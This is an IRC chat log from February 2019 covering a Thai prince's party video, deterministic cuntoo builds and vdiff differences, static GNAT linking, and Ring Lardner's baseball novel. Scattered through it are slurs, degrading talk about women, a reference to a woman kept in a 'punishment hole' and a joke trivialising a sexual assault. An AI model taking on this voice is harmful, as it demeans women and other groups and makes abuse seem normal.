1891915;1549148044;mircea_popescu;http://btcbase.org/log/2016-08-02#1512847 << we're talking of this ? 1891916;1549148044;a111;Logged on 2016-08-02 16:13 mircea_popescu: phf allow me to quote to you from modern tolkien : "The heir apparent, Crown Prince Maha Vajiralongkorn, is poorly regarded in Thailand and the succession has clouded the brows of not only the Thai political elite, but the Thai people, who believe a period of substantial instability will follow the King's death" 1891917;1549148072;mircea_popescu;why schmuck ? i dunno, cuz multiple topless women, some of which crying, in my very kitchen. nor do the pantsuit fucking dare mention my highness by name or anything ? 1891918;1549148075;asciilifeform;nao how would i know whether trooly 'poorly regarded' or pantsuit libel. 1891919;1549148170;mircea_popescu;that's besides the point. poorly regarded because the woman had panties on. 1891920;1549148194;mircea_popescu;same exact fucking reason i think very little of the shah of brunei. thre's a word for the man who can't keep his household in line, and that word is "boy" 1891921;1549148201;asciilifeform;btw last i knew, anyone peddling this story inside border of thailand is subj to heads-off, and they still enforce, despite whine from washington 1891922;1549148210;mircea_popescu;irrespective of blather as to how "he doesn'\t want to" or "his mother is too old for lashing" or anything else. 1891923;1549148222;mircea_popescu;i guess. 1891924;1549148241;mircea_popescu;doesn't it strike ytou as way the fuck easier to lop some bits of fabric off a hip, than some heads off ? 1891925;1549148242;asciilifeform;possibly brunei sultan could win from some 'tech transfer' from thai, in re subj. 1891926;1549148350;asciilifeform;mircea_popescu: for all i know, d00d runs his palace as exact copy of mircea_popescu's, and journos simply make shit up. 1891927;1549148374;mircea_popescu;there was a video included, which is why we discuss the panties-on-topless wife rather than quotes from whatever anglotard. 1891928;1549148386;asciilifeform;oh ha i did not see the vid 1891929;1549148400;mircea_popescu;pretty sure it was in same timeslice. tho perhaps on qntra 1891930;1549148403;asciilifeform;is above seg accurate summary ? 1891931;1549148418;mircea_popescu;im sure it's somewhere in the archives, if you must ima have it fished out 1891932;1549148450;asciilifeform;let's have it for thread-compleetness ( i'll even revv up a box with sound & watch ) 1891933;1549148592;asciilifeform;i'm entirely willing to believe tho that this is the 400th and ~last yr of that dynasty 1891934;1549148604;asciilifeform;(given as my orig contention was that ~all~ dynasty eventually runs outta juice) 1891935;1549148760;asciilifeform;and they dun strictly ~have~ to die because 'heir is boy who cant keep household in order'. ivan iii, say, clubbed his only heir (+ his pregnant wife) to death with iron stick, worked just as well to end that dynasty as effete faggotry would've 1891936;1549148841;asciilifeform;'bang' just as good as 'whimper'. 1891937;1549148918;mircea_popescu;so then what is it you're saying here ? 1891938;1549148950;asciilifeform;that reichs come in finite-year 1891939;1549148963;asciilifeform;(observe, even der fuhrer claimed '1000 yr' not '4evah') 1891940;1549149514;mircea_popescu;this distinguishes reich from any one thing ? 1891941;1549149527;BingoBoingo;In other news, beaches occupied by crowds offering gifts to African sea gods 1891942;1549149567;asciilifeform;mircea_popescu: reichs are among the moar long-lasting worx of man. but do wear out. ( exactly how and why, is q above my pay grade, but seems rather obv that they do in fact wear out ) 1891943;1549149580;asciilifeform;BingoBoingo: lolwat?? 1891944;1549149581;mircea_popescu;alrighty then. 1891945;1549149621;mircea_popescu;item meanwhile located, except, 30mb. 1891946;1549149645;asciilifeform;animatedgif,64x64!11111 1891947;1549149648;BingoBoingo;asciilifeform: Apparently what they do here instead of bothering groundhogs 1891948;1549149655;mircea_popescu;asciilifeform flv, believe or not. 1891949;1549149663;asciilifeform;lol!! 1891950;1549149673;*;asciilifeform last saw flv when used '3d studio' for msdos 1891951;1549149675;mircea_popescu;ben_vulpes would it be at all possible to lift your pastebin limit to say 50mb ? 1891952;1549149686;*;mircea_popescu perfectly willing to contribute to defray costs. 1891953;1549149700;mircea_popescu;asciilifeform possibly thailand has latest win95. 1891954;1549149709;asciilifeform;entirely possib 1891955;1549149729;asciilifeform;i'm told that win9x still common in e.g. southkr 1891956;1549149806;asciilifeform;or hm, also possib that they filmed it with old nokia 1891957;1549149809;asciilifeform;iirc those shat flv 1891958;1549149874;*;asciilifeform brb,meat 1891959;1549152532;mircea_popescu;a well, uploaded it to trilema (should be visible at http://trilema.com/wp-content/uploads/2019/01/thailand-crown-prince-dog-birthday.flv ) but for some reason 404s that i'm not going to be arsed to debug. 1891960;1549152560;mircea_popescu;seems if you want 30mb worth of bad homemade porn in dubious antiquated encodings we'll need better infrastructure than is extant. 1891961;1549154128;trinque;ave1: is it your experience that your gcc+gnat builds on musl? builds for musl, yes, but on? 1891962;1549154235;trinque;and while I'm flailing and torching afternoons trying to get a vtools sat down on my cuntoo buildbox, if anyone can point me to instructions on getting gprbuild to cough up a static binary, I'd be much obliged 1891963;1549154631;asciilifeform;trinque: see ffa as example 1891964;1549154678;asciilifeform;specifically http://btcbase.org/patches/ffa_ch16_miller_rabin.kv/tree/ffa/ffacalc/ffa_calc.gpr 1891965;1549154697;asciilifeform;and http://btcbase.org/patches/ffa_ch16_miller_rabin.kv/tree/ffa/libffa/ffa.gpr . 1891966;1549154709;asciilifeform;( in re static ) 1891967;1549154777;*;asciilifeform brb 1891968;1549155060;trinque;ty! 1891969;1549155474;feedbot;http://bimbo.club/2019/02/philosophical-transactions-for-the-months-of-june-july-and-august-1715-part-vi/ << Bimbo.Club -- Philosophical Transactions. For the months of June, July and August, 1715. - Part V(I). 1891970;1549157080;mircea_popescu;whether it actually ~is~ static in any dependable sense across platforms etc, still somewhat of a matter under investigation, fwiu ?\ 1891971;1549161310;BingoBoingo;http://btcbase.org/log/2019-02-02#1891823 How have I not read this before! Real America near the end of the Great! 1891972;1549161310;a111;Logged on 2019-02-02 19:24 mircea_popescu: in fact, the ur-murican would be this fellow : https://www.gutenberg.org/files/52670/52670-h/52670-h.htm 1891973;1549163310;mircea_popescu;quite. if there is any writing that has a shot at that "great american novel title", it'd be l. 1891974;1549163379;mircea_popescu;BingoBoingo did you get as far as where he ~reveals~ the sauce for the "go at it the right way" device ? 1891975;1549163551;mircea_popescu;quite makes the whole thing. 1891976;1549164070;BingoBoingo;mircea_popescu: Still eating it and the glory of the rest of the world catching up to Branch Rickey 1891977;1549164100;BingoBoingo;Amazing how the last names remain revelant with Cobb being the outlier as he always is 1891978;1549164152;asciilifeform;http://btcbase.org/log/2019-02-03#1891970 << afaik built to date on 2 platforms total ( if anyone did a 3rd, not yet reported in the l0gz ) -- x64 and arm64. both replicated in asciilifeform's torture room, the former in regular use . thing builds strictly static+musltronic bins, it aint even knob-adjustable (which is as it oughta be imho) . 1891979;1549164152;a111;Logged on 2019-02-03 01:24 mircea_popescu: whether it actually ~is~ static in any dependable sense across platforms etc, still somewhat of a matter under investigation, fwiu ?\ 1891980;1549164249;asciilifeform;afaik the only successful builds to date were on trad/barbaric gentoos , on top of which sat adacorpse-gnat '16. 1891981;1549164269;asciilifeform;( in the case of x64 and arm64 both. ) 1891982;1549164654;asciilifeform;incidentally, even old-fashioned barbaric adacorpse gnat was well-behaved re '-static' flag -- there's an os that dun even support static link (crapple) and it will properly barf there, rather than silently build dynamic ( incidentally can still build a runnable ffa there, fwiw, in debug mode -- see readme.txt ) 1891983;1549164707;asciilifeform;i concede that i have ~not~ tried winblowz (which incidentally ~does~ permit static link), couldn't think of any reason to, to date 1891984;1549164809;asciilifeform;i also have not tried on (traditional, rather than crapplistic) bsd. 1891985;1549164837;*;asciilifeform does not presently have any working irons with bsd 1891986;1549164914;asciilifeform;incidentally i expect that results from 'does ffa build' carry over to errybody who is currently using a ffa-derived gpr config ( this includes diana_coman , iirc , and possibly phf ) 1891987;1549164986;asciilifeform;re ffa in particular, if yer testing on something truly exotic (in re not having a posix layer) you will have to change a coupla lines in os.adb where i/o happens 1891988;1549165035;asciilifeform;refer to ave1's asmistic-i/o (no-libc-of-any-kind) demo, for these. 1891989;1549165110;asciilifeform;for ffa , the only os knobs you need are 1) a means for getting commandline string 2) equiv. of putchar 3) equiv. of getchar 4) a means to read bytes from a FG . 1891990;1549165159;asciilifeform;( this means that e.g. http://btcbase.org/log/2018-07-06#1832315 theoretically suffices for 'os' on which can run ffacalc. ) 1891991;1549165159;a111;Logged on 2018-07-06 17:07 asciilifeform: ok here goes, ftr : http://loper-os.org/pub/x86-64-toystore-os.tar.gz >> sha512==e292a6d4296bc3cc63d2bc78bb7def807f7c4e9f8e630b292afec00b08c1fc2f8eeff5d074560804828ee7aee8ab5e43e698436c203c990d994863882e51446a 1891992;1549165319;trinque;diana_coman: I've got the diff between my cuntoo genesis.vpatch and yours chewed down to human size (about 900 lines). getting closer 1891993;1549165357;asciilifeform;if you want to do , e.g., 4096bit rsa, needs iron with at least 256kB of ram . and 2 serial ports, 1 on which to hang FG, other for operator i/o. that's moar or less it, in re minimal iron req'd. 1891994;1549165372;trinque;divergence is entirely within the profile dir, no ebuild differences, so that's a very encouraging result 1891995;1549165420;mircea_popescu;o hey. 1891996;1549165968;trinque;http://p.bvulpes.com/pastes/OJFYM/?raw=true << I'll take to it with fresher eyes, but it looks like on diana_coman's end symlinks are being dereferenced, or something in that vicinity. that appears to be the only class of difference. 1891997;1549166089;asciilifeform;trinque: possibly i'm thick, but how come they can turn out to differ at all b/w 2 installs ? does it munge'em at install time programmatically somehow ? 1891998;1549166110;trinque;munge what? 1891999;1549166129;asciilifeform;the files pictured in the diff above 1892000;1549166134;trinque;the build script produces a genesis.vpatch which encompasses the cuntoo portage tree. 1892001;1549166167;asciilifeform;right; so why would it not produce same output b/w 2 invocations 1892002;1549166194;trinque;because we're comparing the output of her and my build machines, the goal being determinism. 1892003;1549166203;asciilifeform;i get this part 1892004;1549166218;trinque;please read the script and ask a specific question 1892005;1549166229;asciilifeform;i'ma reread prior to asking moar 1892006;1549166317;trinque;the goal here is that everyone who runs the script gets exactly the same genesis.vpatch, of course. why folks got slightly different results is exactly the question. 1892007;1549166345;asciilifeform;ok that was actually my q ('is the source of the nondeterministic noise known?') 1892008;1549166365;trinque;my release contains my signature of genesis.vpatch, but not the vpatch itself. this way everyone is forced to confirm the bridge out of gentoo and into cuntoo 1892009;1549166383;asciilifeform;this is entirely proper 1892010;1549166449;asciilifeform;( and muchly superior to how asciilifeform did trb's 'chicken' genesis, where was stuck giving it as hand-cranked recipe on acct of the vdiff of the period being unable to describe deletion of binturds ) 1892011;1549166468;trinque;asciilifeform: the diff there contains only path weird, and I hazard a guess there's a difference in vdiff behavior. I used a vdiff pressed down to vtools_tempfile_standalone_notmp 1892012;1549166509;trinque;this path took way longer, and I'm glad we got chicken to eat when needed. 1892013;1549166529;asciilifeform;nao this is interesting ( i assume both of you used phf's modern vdiff, which as far as anyone knows is 100% deterministic and dun import 'locale' crapolade like the ancient one did ) 1892014;1549166546;mircea_popescu;trinque time for bash --version ? 1892015;1549166589;trinque;GNU bash, version 4.4.12(1)-release (x86_64-gentoo-linux-musl) 1892016;1549166611;trinque;worth underscoring that I built from a cuntoo 1892017;1549166629;mircea_popescu;i got 4.1.16 ; it'd be a wonder if anyone still has a 3 anywhere, or for that matter if there;'s some subtle symlink treatment difference between them, but... 1892018;1549170338;ave1;trinque, http://btcbase.org/log/2019-02-03#1891961, I've build it with itself (i.e. musl). But the ultimate start has always been the gcc version from AdaCore. I could not get it to work with an FSF start. 1892019;1549170338;a111;Logged on 2019-02-03 00:35 trinque: ave1: is it your experience that your gcc+gnat builds on musl? builds for musl, yes, but on? 1892020;1549170400;trinque;ave1: built with itself, but ever on a system without glibc? 1892021;1549170422;ave1;aha, no I have not in fact 1892022;1549170451;trinque;building it on cuntoo might be a good test of your script's isolation. possible it relies on something from the host. 1892023;1549170476;ave1;the whole thing in the end is static, but yes maybe still relies on a specific gcc lib in there 1892024;1549170495;ave1;do you have an error log? 1892025;1549170622;trinque;headed bedward now, but I'll see what I can dig up tomorrow. appeared the bootstrap compiler refused to run. 1892026;1549170662;trinque;this would be expected if the bootstrap compiler requires a host glibc. 1892027;1549171116;asciilifeform;trinque: adacorpse orig gnat is defo not static itself 1892028;1549173053;BingoBoingo;Fucking hayseed cuck! 1892029;1549184347;diana_coman;trinque, o hey. Let me know if you need any info from my end. 1892030;1549193820;feedbot;http://thetarpit.org/posts/y05/082-tmsr-schedule-i.html << The Tar Pit -- Schedule for Republican work, February - April 2019 1892031;1549211407;trinque;diana_coman: the first thing I'm curious about is the press-head which produced your vdiff 1892032;1549211435;trinque;the paths from your genesis don't even look like real paths; they look like two paths mangled together 1892033;1549211451;trinque;it doesn't seem to have happened anywhere else in your genesis either 1892034;1549211481;trinque;sorry, *the profile-related paths which differed from mine 1892035;1549212654;diana_coman;trinque, iirc I used my own starter_v.zip so that's pressed to vtools_ksum (i.e. http://btcbase.org/patches/vtools_ksum ) as per http://ossasepia.com/2018/11/13/v-with-vtools-keccak-hashes-and-its-own-tree/#selection-69.219-69.332 1892036;1549212718;mircea_popescu;you actually have diff vdifs. 1892037;1549212741;diana_coman;mircea_popescu, hm? 1892038;1549212770;mircea_popescu;he pressed to vtools_tempfile_standalone_notmp ; you pressed to vtools_ksum 1892039;1549212798;mircea_popescu;not saying that necessarily accounts for the difference. but it is a fact. 1892040;1549212811;mircea_popescu;diana_coman what's bash --version say ? 1892041;1549212822;diana_coman;ah, he pressed to next (aka last) node; possibly that makes a diff, hm 1892042;1549212829;diana_coman;lemme see on that machine.. 1892043;1549212861;diana_coman;GNU bash 4.4.12(1) 1892044;1549213050;diana_coman;for full comparison with http://btcbase.org/log/2019-02-03#1892015 mine is GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu) 1892045;1549213050;a111;Logged on 2019-02-03 04:03 trinque: GNU bash, version 4.4.12(1)-release (x86_64-gentoo-linux-musl) 1892046;1549213293;mircea_popescu;so same ver diff build. 1892047;1549213823;diana_coman;aha; well, mine is stock gentoo rather than musl so yes 1892048;1549214300;trinque;the code that runs vdiff is pretty simple, lives at line 114 of scripts/make_portage_tree.sh 1892049;1549214368;trinque;diana_coman: might I get a tarball of your cuntoo build directory's present state? 1892050;1549214383;trinque;with the build mount unmounted of course. 1892051;1549214396;*;trinque brb, baking sidequest requires eggs 1892052;1549214406;mircea_popescu;bwahahah 1892053;1549214454;mircea_popescu;hanbot pick a laptop, bake the man's cuntoo. (principal issue, that gentoo->cuntoo "bridge", see if his sig matches). 1892054;1549214460;mircea_popescu;AND THEN THERE WERE THREE!!! 1892055;1549214643;diana_coman;trinque, it's possibly best to run your latest script and then hand over everything you need, fresh and clear? not a big issue otherwise to rummage and pack that dir but I don't even recall if I did not touch it further after that point when I sent the genesis patch so I'd rather not introduce artefacts 1892056;1549214644;feedbot;http://trilema.com/2019/qntra-sqntr-january-2019-statement/ << Trilema -- Qntra (S.QNTR) January 2019 Statement 1892057;1549214653;mircea_popescu;oh incidentally : qntra was FIVE YEARS OLD in october! 1892058;1549214683;diana_coman;oh hey, congrats to BingoBoingo and belated cake for qntra! 1892059;1549214738;mircea_popescu;diff guy did a coupla years first, before being sucked into the evercunt manifold. 1892060;1549214762;diana_coman;yeah, I recall he even came up for some air rumbling at some point 1892061;1549214806;mircea_popescu;!#seen cazalla 1892062;1549214806;a111;2018-09-04 not much i can say you haven't experienced or don't already know having done it i guess 1892063;1549214809;mircea_popescu;word. 1892064;1549214843;*;asciilifeform in the guts of 16b but tuned in & following cuntoo scent 1892065;1549214849;mircea_popescu;in other news, mp's own bash grenadiers regiment suggests an ad interim solution for http://btcbase.org/log/2019-02-02#1891951 in the shape of ls | grep ^x..$' | while read line; do curl -Ls -o /dev/null -w %{url_effective} -X POST -F "pastebox=@$line" http://p.bvulpes.com -w %{url_effective}; done 1892066;1549214849;a111;Logged on 2019-02-02 23:21 mircea_popescu: ben_vulpes would it be at all possible to lift your pastebin limit to say 50mb ? 1892067;1549214864;mircea_popescu;to be fed, of course, the result of split -29950 1892068;1549214881;mircea_popescu;asciilifeform do you want topless thai princess enough to go through ^ ? 1892069;1549214888;asciilifeform;mircea_popescu: lol before long we'll be doin' http://btcbase.org/log/2019-01-04#1884320 1892070;1549214888;a111;Logged on 2019-01-04 01:56 asciilifeform: http://www.slyck.com/Newsgroups_Guide_PAR_PAR2_Files << found it. 1892071;1549214899;mircea_popescu;you know ? 1892072;1549214907;asciilifeform;mircea_popescu: i'd like to see it , given that mircea_popescu thought it was of interest 1892073;1549214913;mircea_popescu;aite baking 1892074;1549214922;asciilifeform;ty mircea_popescu 1892075;1549214951;asciilifeform;& ty grenadiers. 1892076;1549215335;mircea_popescu;asciilifeform http://p.bvulpes.com/pastes/ZPXVL/?raw=true 1892077;1549215489;asciilifeform;got it, ty mircea_popescu 1892078;1549215590;asciilifeform;decodes, plays, a++ 1892079;1549215596;asciilifeform;mircea_popescu do you want this mirrored on dulap ? 1892080;1549215599;diana_coman;in other side quests, I got good ol' Supaplex next to http://btcbase.org/log/2018-06-25#1829520 ; and a whole batch of old stuff while at it, all running nicely on a dosbox 1892081;1549215599;a111;Logged on 2018-06-25 20:19 diana_coman set up The Incredible Machine dos-version even for said child and he's totally hooked 1892082;1549215621;asciilifeform;diana_coman: lemme know if you want moar warez from that period, i have a hand-curated collection 1892083;1549215662;diana_coman;asciilifeform, the funny thing is that I have trouble remembering any names as such - it's more when I read the names that I go "oh, THAT one" 1892084;1549215674;asciilifeform;right, curated w/ index txt 1892085;1549215698;diana_coman;mind pasting that index or is it accessible somewhere? 1892086;1549215735;asciilifeform;diana_coman: it's on a mitsumi gold cd thing, i'ma excavate it tomorrow morning 1892087;1549215735;mircea_popescu;asciilifeform i couldn't care less. say what you will of http://btcbase.org/log/2019-01-31#1891093 it still has thai prince's bday party beat 1892088;1549215735;a111;Logged on 2019-01-31 01:59 mod6: lol. that girl in the cage was n00d iirc! 1892089;1549215741;mircea_popescu;and THAT wasn't really worth filming either. 1892090;1549215803;BingoBoingo;diana_coman: ty for the cake 1892091;1549215872;diana_coman;asciilifeform, it can wait even longer than that really 1892092;1549215888;asciilifeform;http://www.nosuchlabs.com/pub/liquishit/tdog.flv << posted strictly for thread-completeness, i agree with mircea_popescu re it being largely a snoar 1892093;1549215948;mircea_popescu;galling, too, schmuck's going about fixing the gal's fingerfood selection for her and other http://trilema.com/2011/cum-era-sa-il-pleznesc-pe-unu/ delectables. 1892094;1549215967;asciilifeform;mircea_popescu: i gotta agree, mega-kronprinz that is too chicken to take the wrapper off the chix 1892095;1549215991;mircea_popescu;i mean, not like he has to, wtf, im not gonna tell him his business. but i fucking hate half measures, 1892096;1549215993;asciilifeform;i gotta wonder if he keeps the cellophane on his sofa also 1892097;1549216001;asciilifeform;( y'know this '90s orc habit ? ) 1892098;1549216002;mircea_popescu;if you'\re going to "go fix the pipes" do me the fucking courtesy and use the wrench. 1892099;1549216020;mircea_popescu;the space of possibilities is well explored by now, the wrench exists for a fucking reason, it's not some arbitrary thing 1892100;1549216037;mircea_popescu;asciilifeform encountered it in egypt, pretty lulzy. 1892101;1549216037;BingoBoingo; oh incidentally : qntra was FIVE YEARS OLD in october! << Four, will be five the following october 1892102;1549216060;mircea_popescu;BingoBoingo a right6 you are huh! 2019-2014 = 4 unless you're late enough in the year. 1892103;1549216067;asciilifeform;congrats BingoBoingo , btw 1892104;1549216091;mircea_popescu;well... http://trilema.com/2017/zuleika-dobson-or-an-proper-love-story/#selection-1121.15-1121.67 1892105;1549216208;mircea_popescu;aaanyways. can reproduce sad dood's bday party by following me around shopping or w/e, girls kneel to present me cake or w/e. #PublicPlay 1892106;1549216255;mircea_popescu;"eastern monarchies" of polyester shirts and bitter sadness. 1892107;1549216318;asciilifeform;mircea_popescu: gotta wonder, do they grow'em http://trilema.com/2018/the-saddest-person-in-the-world/ -style 1892108;1549216331;mircea_popescu;they evidently must, i can conceive of no other explanation. 1892109;1549216388;mircea_popescu;i mean, it's not like i set out to outprince the $eastern-monarch 1892110;1549216396;mircea_popescu;i set out to see what the fuck is there. 1892111;1549216410;asciilifeform;sadprinz evidently did not 1892112;1549216478;mircea_popescu;but he is supposed to be the ad-idem continuator of "people who long ago have", as per http://btcbase.org/log/2019-02-02#1891663 algo. 1892113;1549216478;a111;Logged on 2019-02-02 18:08 asciilifeform: and it dun strike me as somehow outlandish that in cn they've played the tape 3-4 times, while in europistan 1-2. 1892114;1549216483;asciilifeform;( and it aint as if 'simply aint done', saud princes routinely get on airplane & fuck heathens ) 1892115;1549216500;mircea_popescu;that's what's said there, yes ? that a) this thing is b) ad idem continuator of c) thing that explored space of possibilities ALREADY. 1892116;1549216524;asciilifeform;mircea_popescu: recall the ball bearing analogy for simulated annealing algo ? 1892117;1549216535;asciilifeform;sometimes the ball goes into a hole and sits. 1892118;1549216547;mircea_popescu;asciilifeform on the basis of general experience i expect (the foregoing is no kind of proof) that their "fucking heathens" consists of this derpy dood telling some inept whore in cocal casino that "he didn'rt want to assume". 1892119;1549216568;mircea_popescu;nicole'll tell you all about it, once she digs herself out of punishment hole and is allowed maybe the use of furniture again. 1892120;1549216576;asciilifeform;mircea_popescu: i was thinking rather of the 1 that 'fell onto' that secretute , famously 1892121;1549216594;asciilifeform;'accidentally' driving cock full bayonet in 1892122;1549216625;asciilifeform;recall, there was a whine circus re subj couplayrs ago 1892123;1549216625;mircea_popescu;o, right, right. the difference between him and 10`000 'ard cunts in the sad isles that night was that he's the one the chick decided to give a run for his money (which he got to keep most of). 1892124;1549216640;mircea_popescu;ordinary working class telegraph boys fall on her every other weekend, with no further effect. 1892125;1549216699;BingoBoingo;asciilifeform: ty 1892126;1549216724;mircea_popescu;as far as i know [and what i don't know in this town ain't worth knowing], the last "thai princes" in existence sported armenian moustaches, went about in confiscated warsaw pact uniforms and had names ending in that ridiculous accented c. 1892127;1549216776;mircea_popescu;kunarac fellow & co 1892128;1549217056;BingoBoingo; nicole'll tell you all about it, once she digs herself out of punishment hole and is allowed maybe the use of furniture again. << AHA, see http://btcbase.org/log/2019-02-03#1891974 1892129;1549217056;a111;Logged on 2019-02-03 03:09 mircea_popescu: BingoBoingo did you get as far as where he ~reveals~ the sauce for the "go at it the right way" device ? 1892130;1549217159;BingoBoingo;"She says Well if you will go and talk the right way to Comiskey I believe he will give you $3000 but you must be sure you go at it the right way and don't go and ball it all up. Well we argude about it a while because I don't want to hold nobody up Al but finally I says I would. It would not be holding nobody up anyway because I am worth $3000 to the club if I am worth a nichol." 1892131;1549217262;*;asciilifeform bbl,meat 1892132;1549217287;BingoBoingo;Leads to: "Then he says I am not sure you are going to get anything. I says What do you mean? And he says I have gave you a very fare contract and if you don't want to live up to it that is your own business." 1892133;1549217298;mircea_popescu;you know ? total kafka move, when he first goes 1892134;1549217299;mircea_popescu;"I don't think the old man give me no square deal on that lease but if he wants to stick me all right. I am grateful to you Al for trying to fix it up but maybe you could of did better if you had of went at it in a different way. I am not finding no fault with my old pal though. Don't think that. When I have a pal I am the man to stick to him threw thick and thin. If the old man is going to hold me to that lease I guess I wil 1892135;1549217299;mircea_popescu;l have to stand it and I guess I won't starv to death for no $10 a month because I am going to get $2800 next year besides the city serious money and maybe we will get into the World Serious too. I know we will if Callahan will pitch me every 3d day like I wanted him to last season. But if you had of approached the old man in a different way maybe you could of fixed it up. I wish you would try it again Al if it is not no trou 1892136;1549217301;mircea_popescu;ble." 1892137;1549217317;mircea_popescu;you're thinking hm... this is kinda out of character. but you don't realise the fucking paramecium ~simply imported some dna from the woman~. 1892138;1549217357;mircea_popescu;THEN sixty pages later it becomes obvious it's just her , "do it the right way" "which way is the right way ?" "the one that works out to what i want" "but this is after the fact" "i am a christian!!!" 1892139;1549217370;BingoBoingo;AHA 1892140;1549217399;mircea_popescu;the whole fucking pile of http://btcbase.org/log/2019-02-02#1891780 is one thing ; but then there's STRUCTURE in the grime. 1892141;1549217399;a111;Logged on 2019-02-02 19:04 mircea_popescu: if you redefine all words to mean simply "i love you", you will "live" in the most loving world imaginable. 1892142;1549217450;BingoBoingo;Not to mention, whatever the last person he talked to said becomes holy writ until he talks to someone else 1892143;1549217503;mircea_popescu;i will actually say on the record that i currently believe jack keefe to be the representative american, in this exact sense : if all americans were to be defined by delta from a single point, he's the point which, if chosen, affords the smallest total sum of deltas. 1892144;1549217530;mircea_popescu;which yes, on the face makes lardner the most important writer on america. 1892145;1549217531;BingoBoingo;I endorse this 1892146;1549217593;mircea_popescu;now, the question is -- why did sovok leadership not simply gift the population a buncha copies of this book ? 1892147;1549217642;mircea_popescu;they very much had the http://btcbase.org/log/2018-05-22#1816498 problem. but they did not have enough fucking sense to approach it correctly. 1892148;1549217642;a111;Logged on 2018-05-22 05:11 mircea_popescu: this paradigm readily explains the soviet state - "rock and roll" relationship, and moreover that historical accident had a lot to do with why alphabet even ~exists~ today. otherwise, on the naked strength of imaginary "advertising revenue" google is worth ~dozen stackexchanges/slashdots/sourceforges. but, generals always fight last year's war, and so here we are, "bayesian lesswisdom". 1892149;1549217733;mircea_popescu;there is a deep an' fundamental reason "the narrative" in that sad shithole consists entirely of and exists entirely as commerciam communication aka advertising copy ; and there is a deep and fundamental reason social relations ~do not exist~ among americans outside of commercial relations. 1892150;1549217753;mircea_popescu;why is it that pretty much the only thing two of them ever have to talk about is the latest ad and the only reason they can possibly meet is to try and sell each other tupperware, or try and sell each other out to whatever ? 1892151;1549217975;BingoBoingo;Then there's the enduring unfairness that Jack Keefe's dollar is as good as Tom Sawyer's and... what happened to the dollar between 1919 and 2019? 1892152;1549218003;mircea_popescu;you know ? 1892153;1549218013;mircea_popescu;10 bucks a month rural rents. 1892154;1549218026;mircea_popescu;1930s as 1880s, fiddy years. 1892155;1549218060;BingoBoingo;40 bucks a month furnished city flat, and the bitch had the audacity to REFURNISH! 1892156;1549218060;mircea_popescu;and of course, all sort of forgotten lulz, like say "I says I feel O.K. and I ain't afraid to pitch against Johnson and I ain't afraid to hit against him neither. Then Weaver says Have you ever saw him work? Yes, I says, I seen him in Chi. Then Weaver says Well if you have saw him work and ain't afraid to hit against him I'll bet you would go down to Wall Street and holler Hurrah for Roosevelt. I says No I wouldn't do that bu 1892157;1549218060;mircea_popescu;t I ain't afraid of no pitcher and what is more if you get me a couple of runs I'll beat him." 1892158;1549218093;mircea_popescu;(Sir Cashion walnut, for the curious, is most likely "circassian" walnut, aka plain and common walnut) 1892159;1549218258;mircea_popescu;anyways. certainly provides well needed perspective for all sorts of local-flavour insanities. "the success and importance" of "social media", aka "for the first time ever the circumstance that we have ABSOLUTELY NOTHING to say to each other doesn't seem as much of an impediment anymore!" 1892160;1549218311;BingoBoingo;Then there's the saintly manner Gleason takes Jack and reshapes him into a rounded player without Jack even noticing 1892161;1549218352;mircea_popescu;you know ? and the insanity of it is, my own harem informs me, that is ~exactly~ what gleason ~actually did~. 1892162;1549218358;mircea_popescu;professionally, for a living, for thirty years. 1892163;1549218426;mircea_popescu;this being, of course, the ~correct~ way to imagine things. jack keefe, for being an imaginary character, is actually super-authentic as well as meta-authentic. 1892164;1549218501;mircea_popescu;and THEN, because no, this doesn't fucking end, does it, THEN you also know the future. 1892165;1549218511;mircea_popescu;because these exact same white socks are gonna sell the world series, aren't they. 1892166;1549218548;BingoBoingo;Indeed 1892167;1549218998;mircea_popescu;BingoBoingo incidentally, did you also go "hmm... his wife returns, pregnant, after giving him the heave-ho... evidently not his kid" 1892168;1549219025;BingoBoingo;Very clearly not his kid 1892169;1549219039;mircea_popescu;only to discover that a) it's not fucking possible she got pregnant and ready to deliver in a single season and then b) actually count the months and discover a woman he married 2nd day after meeting mid-oct is delivering him allan's baby mid june ? 1892170;1549219053;mircea_popescu;ie, she was ALREADY pregnant when they met. 1892171;1549219093;BingoBoingo;Pretty clear this is the only reason Allan dumped the girl off on him 1892172;1549219097;mircea_popescu;a suspicious nature's no help against lardner. he's two steps ahead of all suspicion in his tower of shenanigan. 1892173;1549219273;BingoBoingo;Not to mention how Gleason suffered the next year for not dumping Keefe in Oklahoma for the offseason himself 1892174;1549219352;mircea_popescu;and THEN, in the vein of http://btcbase.org/log/2019-01-31#1891044 you wonder ~why~ the big deal about lefthandedness ? was it because lo and behold, the trait is an extremely fine discerner of parenthood, in this specific context ? 1892175;1549219352;a111;Logged on 2019-01-31 00:46 mircea_popescu: Jan 30 18:30:38 and since i mentioned vice-versa again, some #haremleaks : hanbot asked me if i think the only reason anstey made paul a widower was so he didn't have to confront his son fucking his wife during that week. 1892176;1549219430;mircea_popescu;(pro tip : the odds of left handed kid born in a house where live two adult males, the one which isn't you being also left handed, being yours are perhaps under 0.1%) 1892177;1549219506;BingoBoingo;It's all ok though because Mr Dustbowl is going to make some tough talk about fixing the left handedness 1892178;1549219548;mircea_popescu;gotta be possible! cuz when a man sets his mind to it, aint not anything in the world he can't pretty well fix./ or at least not want to fix anymore. 1892179;1549219580;BingoBoingo;http://btcbase.org/log/2019-02-03#1892028 << The exact moment I encountered the baby's uninterest in interacting with the world using its right arm 1892180;1549219580;a111;Logged on 2019-02-03 05:50 BingoBoingo: Fucking hayseed cuck! 1892181;1549219600;mircea_popescu;i suspected as much. 1892182;1549219606;mircea_popescu;and besides, I won't sign with Detroit for no less than $5000 at most. 1892183;1549219641;mircea_popescu;BingoBoingo in other side-lulz, alf's gonna come back from tea and suspect the poppies were bad or something. "what the FUCK are they talking about!" 1892184;1549219677;mircea_popescu;#ThatTimeWhenYouStepAwayFromTrilemaForAnHourAndYouComeBackToACompletelyDifferentUniverse 1892185;1549219772;BingoBoingo; and besides, I won't sign with Detroit for no less than $5000 at most. << Seriously, several kilograms of silver wasn't good enough for 8.5 months of work 1892186;1549219859;mircea_popescu;it wasn't very much money at the time. at least not looking at it from an anachronistic perspective and from within a society where athleticism is the only nobility left. 1892187;1549219870;BingoBoingo;It is also important to note that "stuff" is an important technical term with respect to the ball's movement in the air 1892188;1549219873;mircea_popescu;ny socialite burned 10-20 a week "entertaining" 1892189;1549219918;mircea_popescu;anyway. the idea that star athlete would be permitted at the table in society is "obvious" today, but was inconceivable 1919. 1892190;1549219923;mircea_popescu;back then they had other merits to look to. 